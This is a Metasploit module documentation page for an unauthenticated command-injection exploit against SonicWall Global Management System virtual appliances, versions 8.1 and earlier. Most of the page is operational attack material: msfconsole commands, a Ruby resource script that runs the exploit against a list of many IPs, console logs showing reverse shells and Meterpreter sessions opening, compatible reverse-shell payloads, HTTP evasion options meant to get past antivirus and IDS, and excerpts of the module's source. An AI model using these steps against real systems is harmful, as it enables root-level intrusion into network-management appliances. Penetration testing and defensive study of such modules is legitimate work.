SonicWall Global Management System XMLRPC set_time_zone Unauth RCE - Metasploit
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Module Overview
Name: SonicWall Global Management System XMLRPC set_time_zone Unauth RCE
Module: exploit/unix/sonicwall/sonicwall_xmlrpc_rce
Source code: modules/exploits/unix/sonicwall/sonicwall_xmlrpc_rce.rb
Disclosure date: 2016-07-22
Last modification time: 2021-02-17 12:33:59 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -
This module exploits a vulnerability in SonicWall Global
Management System Virtual Appliance versions 8.1 (Build
8110.1197) and below. This virtual appliance can be
downloaded from
http://www.sonicwall.com/products/sonicwall-gms/ and is used
'in a holistic way to manage your entire network security
environment.' These vulnerable versions (8.1 Build 8110.1197
and below) do not prevent unauthenticated, external entities
from making XML-RPC requests to port 21009 of the virtual
app. After the XML-RPC call is made, a shell script is
called like so: 'timeSetup.sh --tz="command injection
here"' --usentp="blah"'.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using sonicwall_xmlrpc_rce against a single host
Normally, you can use exploit/unix/sonicwall/sonicwall_xmlrpc_rce this way:
msf > use exploit/unix/sonicwall/sonicwall_xmlrpc_rce
msf exploit(sonicwall_xmlrpc_rce) > show targets
... a list of targets ...
msf exploit(sonicwall_xmlrpc_rce) > set TARGET target-id
msf exploit(sonicwall_xmlrpc_rce) > show options
... show and set options ...
msf exploit(sonicwall_xmlrpc_rce) > exploit
Using sonicwall_xmlrpc_rce against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your sonicwall_xmlrpc_rce will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/unix/sonicwall/sonicwall_xmlrpc_rce")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
sonicwall_xmlrpc_rce is a remote exploit against SonicWall Global Management System Virtual Appliance and is written by Michael Flanders of Trend Micro Zero Day Initiative with assistance by @kernelsmith of Trend Micro Zero Day Initiative. It is considered a reliable exploit, and allows you to remotely execute commands as root.
This exploit works against a vulnerable SonicWall Global Management System Virtual Appliance (A.K.A. Sonicwall GMSVP) of versions 8.1 (Build 8110.1197) and earlier. The virtual appliance can be downloaded here:
- http://www.sonicwall.com/products/sonicwall-gms/
This module exploits the virtual appliance's lack of checking on user-supplied parameters to XML-RPC calls to a vulnerable Java service running on port 21009. A call to a shell script is made using this user-supplied parameter contained in backticks allowing command substitution and remote code execution.
To reliably determine whether the target virtual appliance is vulnerable, you will have to examine the web console's login page. This is also automatically done in the check function of the exploit.
Verification Steps
- [x] Start
msfconsole - [x]
use exploit/unix/sonicwall/sonicwall_xmlrpc_rce - [x]
set RHOSTto the IP address of the vulnerable virtual appliance - [x]
set RPORTto 21009 - [x]
set payloadto the desired payload - [x] set any additional options for the payload e.g. LHOST/LPORT
- [x]
exploit - [x] Verify that you get a shell
- [x] Verify that you do not crash
Options
set SSL [true/false]
- Set this true/false depending on whether the instance of SonicWall GMSVP has been configured to use SSL.
set WEB_SERVER_PORT [port]
- This is the port of the login page for the web server/virtual appliance. For
SonicWall GMVSP this is typically http://[ip]:80; therefore, this option is set
by default to 80 (or 443 if
set SSL true).
Scenarios
- This is example output from a normal usage/scenario. This console output is for SonicWall GMSVP version 8.0 (Build 8046.1396):
msf > use exploit/unix/sonicwall/sonicwall_xmlrpc_rce
msf exploit(unix/sonicwall/sonicwall_xmlrpc_rce) > show options
Module options (exploit/unix/sonicwall/sonicwall_xmlrpc_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST yes The target address
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
WEB_SERVER_PORT no Port of web console login page.
Defaults to 80/443 depending on SSL.
Exploit target:
Id Name
-- ----
0 SonicWall Global Management System Virtual Appliance
msf exploit(unix/sonicwall/sonicwall_xmlrpc_rce) > set RPORT 21009
RPORT => 21009
msf exploit(unix/sonicwall/sonicwall_xmlrpc_rce) > set RHOST 192.168.152.173
RHOST => 192.168.152.173
msf exploit(unix/sonicwall/sonicwall_xmlrpc_rce) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
msf exploit(unix/sonicwall/sonicwall_xmlrpc_rce) > set LHOST 192.168.152.193
LHOST => 192.168.152.193
msf exploit(unix/sonicwall/sonicwall_xmlrpc_rce) > exploit
[*] Started reverse TCP double handler on 192.168.152.193:4444
[*] The target appears to be vulnerable, continuing exploit...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo H7sn3KYXeuCZy27Q;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "H7sn3KYXeuCZy27Q\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.152.193:4444 -> 192.168.152.173:44698) at 2018-07-05 12:30:56 -0400
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Msfconsole Usage
Here is how the unix/sonicwall/sonicwall_xmlrpc_rce exploit module looks in the msfconsole:
msf6 > use exploit/unix/sonicwall/sonicwall_xmlrpc_rce
msf6 exploit(unix/sonicwall/sonicwall_xmlrpc_rce) > show info
Name: SonicWall Global Management System XMLRPC set_time_zone Unauth RCE
Module: exploit/unix/sonicwall/sonicwall_xmlrpc_rce
Platform: Unix
Arch: cmd
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2016-07-22
Provided by:
Michael Flanders
kernelsmith
Available targets:
Id Name
-- ----
0 SonicWall Global Management System Virtual Appliance
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
WEB_SERVER_PORT no Port of web console login page.
Defaults to 80/443 depending on SSL.
Payload information:
Avoid: 1 characters
Description:
This module exploits a vulnerability in SonicWall Global Management
System Virtual Appliance versions 8.1 (Build 8110.1197) and below.
This virtual appliance can be downloaded from
http://www.sonicwall.com/products/sonicwall-gms/ and is used 'in a
holistic way to manage your entire network security environment.'
These vulnerable versions (8.1 Build 8110.1197 and below) do not
prevent unauthenticated, external entities from making XML-RPC
requests to port 21009 of the virtual app. After the XML-RPC call is
made, a shell script is called like so: 'timeSetup.sh --tz="`command
injection here`"' --usentp="blah"'.
References:
https://www.digitaldefense.com/digital-defense/vrt-discoveries/
https://slides.com/kernelsmith/bsidesaustin2018/#/
Module Options
This is a complete list of options available in the unix/sonicwall/sonicwall_xmlrpc_rce exploit:
msf6 exploit(unix/sonicwall/sonicwall_xmlrpc_rce) > show options
Module options (exploit/unix/sonicwall/sonicwall_xmlrpc_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
WEB_SERVER_PORT no Port of web console login page.
Defaults to 80/443 depending on SSL.
Exploit target:
Id Name
-- ----
0 SonicWall Global Management System Virtual Appliance
Advanced Options
Here is a complete list of advanced options supported by the unix/sonicwall/sonicwall_xmlrpc_rce exploit:
msf6 exploit(unix/sonicwall/sonicwall_xmlrpc_rce) > show advanced
Module advanced options (exploit/unix/sonicwall/sonicwall_xmlrpc_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Exploit Targets
Here is a list of targets (platforms and systems) which the unix/sonicwall/sonicwall_xmlrpc_rce module can exploit:
msf6 exploit(unix/sonicwall/sonicwall_xmlrpc_rce) > show targets
Exploit targets:
Id Name
-- ----
0 SonicWall Global Management System Virtual Appliance
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the unix/sonicwall/sonicwall_xmlrpc_rce exploit:
msf6 exploit(unix/sonicwall/sonicwall_xmlrpc_rce) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
1 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
2 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
3 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
Evasion Options
Here is the full list of possible evasion options supported by the unix/sonicwall/sonicwall_xmlrpc_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(unix/sonicwall/sonicwall_xmlrpc_rce) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Connection failed
Here is a relevant code snippet related to the "Connection failed" error message:
66: handler = datastore['SSL'] ? 'https' : 'http'
67:
68: res = request_url("#{handler}://#{rhost}:#{port_number}")
69:
70: unless res
71: vprint_error 'Connection failed'
72: return CheckCode::Unknown
73: end
74:
75: unless res.code == 200 && res.body =~ /<TITLE>.+v(\d\.\d)/
76: return CheckCode::Safe
The target is not vulnerable.
Here is a relevant code snippet related to the "The target is not vulnerable." error message:
85: CheckCode::Appears
86: end
87:
88: def exploit
89: unless check == CheckCode::Appears
90: fail_with Failure::NotVulnerable, "The target is not vulnerable."
91: end
92:
93: print_status "The target appears to be vulnerable, continuing exploit..."
94: send_xml
95: end
Error sending XML to <RHOST>:<RPORT>
Here is a relevant code snippet related to the "Error sending XML to <RHOST>:<RPORT>" error message:
121: 'uri' => '/',
122: 'data' => xml_body,
123: 'ctype' => 'text/xml; charset=UTF-8'
124: })
125:
126: unless res && res.body.include?("success")
127: print_error("Error sending XML to #{rhost}:#{rport}")
128: end
129: end
130:
131: end
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Related Pull Requests
- #14769 Merged Pull Request: Handle nil versions in preparation for rubygems 4
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #11534 Merged Pull Request: Fix module heading and typo
- #10305 Merged Pull Request: Add SonicWall XML-RPC Remote Code Execution Exploit Module
References
- CVE: Not available
- https://www.digitaldefense.com/digital-defense/vrt-discoveries/
- https://slides.com/kernelsmith/bsidesaustin2018/#/
See Also
Check also the following modules related to this module:
- auxiliary/dos/http/sonicwall_ssl_format
- exploit/linux/http/sonicwall_cve_2021_20039
- exploit/multi/http/sonicwall_gms_upload
- exploit/multi/http/sonicwall_scrutinizer_methoddetail_sqli
- exploit/windows/browser/sonicwall_addrouteentry
- exploit/windows/http/sonicwall_scrutinizer_sqli
- exploit/unix/webapp/php_xmlrpc_eval
- exploit/unix/http/cacti_filter_sqli_rce
- exploit/unix/http/quest_kace_systems_management_rce
- exploit/unix/smtp/opensmtpd_mail_from_rce
- exploit/unix/webapp/aerohive_netconfig_lfi_log_poison_rce
- exploit/unix/webapp/bolt_authenticated_rce
- exploit/unix/webapp/joomla_comfields_sqli_rce
- exploit/unix/webapp/joomla_contenthistory_sqli_rce
- exploit/unix/webapp/openmediavault_rpc_rce
- exploit/unix/webapp/oscommerce_filemanager
- exploit/unix/webapp/thinkphp_rce
- exploit/unix/webapp/trixbox_ce_endpoint_devicemap_rce
- exploit/unix/webapp/wp_pie_register_bypass_rce
- exploit/unix/webapp/wp_plainview_activity_monitor_rce
- exploit/unix/webapp/wp_wpshop_ecommerce_file_upload
- exploit/linux/http/supervisor_xmlrpc_exec
- exploit/multi/misc/teamcity_agent_xmlrpc_exec
- auxiliary/dos/http/wordpress_xmlrpc_dos
- auxiliary/scanner/http/wordpress_xmlrpc_login
- auxiliary/scanner/nessus/nessus_xmlrpc_login
- auxiliary/scanner/nessus/nessus_xmlrpc_ping
Authors
- Michael Flanders
- kernelsmith
Version
This page has been produced using Metasploit Framework version 6.1.26-dev. For more modules, visit the Metasploit Module Library.
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